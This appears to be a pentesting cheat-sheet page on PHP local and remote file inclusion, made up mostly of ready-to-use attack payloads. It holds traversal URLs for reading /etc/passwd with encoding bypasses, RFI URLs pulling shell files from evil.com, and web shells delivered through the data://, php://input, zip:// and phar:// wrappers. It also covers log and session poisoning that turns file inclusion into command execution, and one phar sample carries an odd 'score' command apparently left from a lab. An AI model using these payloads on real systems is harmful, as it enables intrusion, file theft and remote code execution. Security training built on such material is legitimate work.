file-inclusion
File Inclusion
File inclusion vulnerabilities let attackers load unauthorized files, often leading to code execution or data leaks. It's common in PHP apps when using include or require with user input.
Frameworks like Django (Python) and ASP.NET have built-in protection by not allowing direct file path manipulation from user input.
There are two main types of file inclusion:
- Local File Inclusion (LFI) – Includes files from the local server (e.g.,
/etc/passwd). - Remote File Inclusion (RFI) – Includes files from external URLs (e.g.,
http://evil.com/shell.php).
Automated Tools
Interesting Wordlist
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt
Local File Inclusion (LFI)
File Inclusion Vulnerability should be differentiated from Path Traversal. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
Following is a vulnerable code:
<?php
$file = $_GET['page'];
include($file);
?>
Since there is no proper security mechanism, we can do path traversal and include any local files:
http://example.com/index.php?page=../../../etc/passwd
Null Bytes
In versions of PHP below 5.3.4, if the code automatically adds a file extension (such as .php), we can terminate the string using a null byte (%00).
http://example.com/index.php?page=../../../etc/passwd%00
Double Encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 Encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path Truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
Filter Bypass
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Remote File Inclusion
RFI (Remote File Inclusion) is a web vulnerability that allows an attacker to include a remote file (usually via a URL) into a web application.
RFI in present condition
Remote File Inclusion doesn't work anymore on a default configuration since allow_url_include is now disabled since PHP 5.
allow_url_include = On
To check if this option is enabled, we can use LFI to verify and read php configuration file:
/etc/php/7.4/apache2/php.ini
Most of the filter bypasses from LFI section can be reused for RFI.
<strong># RFI
</strong>http://example.com/index.php?page=http://evil.com/shell.txt
<strong># Null Byte
</strong>http://example.com/index.php?page=http://evil.com/shell.txt%00
<strong># Double Encoding
</strong>http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
Bypass allow_url_include
Even if allow_url_include and allow_url_fopen are set to Off, it's still possible to include a remote file on a Windows server using the SMB protocol.
- Create a share open to everyone.
- Write a PHP code inside a file:
shell.php - Include it
http://example.com/index.php?page=\\IP:PORT\share\shell.php
PHP Wrappers
PHP Wrappers are used with functions like fopen(), file_get_contents(), etc., to access various types of resources. Common wrappers include:
file://– Local file access (default)http://andhttps://– Access via HTTPphp://– Access input/output streamsdata://– Access inline dataftp://,zip://– Access files via FTP or inside ZIP archives- And more...
php://filter
The part "php://filter" is case-insensitive.
<strong># Convert file content to base64 encoded string
</strong>php://filter/convert.base64-encode/resource=index.php
<strong># Convert file content to rot13 encoded string
</strong>php://filter/read=string.rot13/resource=index.php
We can chain wrappers with a compression wrapper for large files.
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
LFI to RCE using PHP Filters
Reference: here
We can use this following: https://github.com/synacktiv/php_filter_chain_generator script to go from LFI to RCE.
data://
Only works if allow_url_include is enabled.
Here we can use PHP wrapper trick with data:// stream wrapper to execute base64-encoded payloads.
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
<strong># Use '&cmd=id' parameter
</strong>
Where the base64-encoded value is a web shell:
<?php system($_GET['cmd']);echo 'Shell done !'; ?>
Fun fact: We can trigger an XSS and bypass the Chrome Auditor using the following URL:
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
input://
This wrapper is similar to the data:// wrapper, but the difference is that we need to use a POST-based payload instead of GET.
Only works if allow_url_include is enabled.
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
expect://
Expect is an external wrapper. We can check the PHP Configuration file (php.ini) and look for extension= variable.
When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the expect:// wrapper can invoke shell commands as part of its input.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
zip://
First create a payload:
echo '<pre><?php system($_GET["cmd"]); ?></pre>' > shell.php
We now need to Zip the file:
zip shell.zip shell.php
mv shell.zip shell.jpg
rm shell.php
Upload the archive and access the file using the wrappers:
http://example.com/index.php?page=zip://shell.jpg%23shell.php
phar://
Practice: https://pentesterlab.com/exercises/phar
If PHP function __destruct() is being used, it will help you gain code execution using the PHP archive file or phar file.
PHAR files work like ZIP files, when you can use the phar:// to access files stored inside them.
Create a phar archive containing a backdoor file:
<?php
class UploadFile {
public $filename = "'.system('/usr/local/bin/score cd295747-490c-4623-b03a-d89a4bb6193b').'";
}
$o = new UploadFile();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
<strong># This script can be compiled into a PHAR that, when executed, writes a web shell
</strong><strong># to a shell.txt sub-file for interaction.
</strong>php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Use the phar:// wrapper: curl http://example.com/?page=phar:///var/www/html/shell.phar/shell.txt&cmd=id
Log Poisioning
SSH
Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>.
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
Then include the SSH log files inside the Web Application.
http://example.com/index.php?page=/var/log/auth.log&cmd=id
Apache
Poison the User-Agent in access logs:
curl http://example.com/ -A "<?php system(\$_GET['cmd']);?>"
The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
curl http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
Apache Files
/etc/apache2/apache2.conf
/usr/local/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/var/log/httpd/access_log # Red Hat/CentOS/Fedora Linux
/var/log/apache2/access.log # Debian/Ubuntu
/var/log/httpd-access.log # FreeBSD
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache/error.log
Same concept goes with nginx.
PHP Session
First check if the website use PHP Session (PHPSESSID).
## Example
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files.
/index.php?page=/var/lib/php/sessions/sess_i56kgbsq9rm8ndg3qbarhsbm27
<strong># The above shows something like:
</strong>user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
<strong># Read this cookie, then look at values which can be tampered by changing request.
</strong><strong># URL-Encoded Web Shell
</strong>%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
<strong># Execute Payloads
</strong>/index.php?page=/var/lib/php/sessions/sess_i56kgbsq9rm8ndg3qbarhsbm27&cmd=id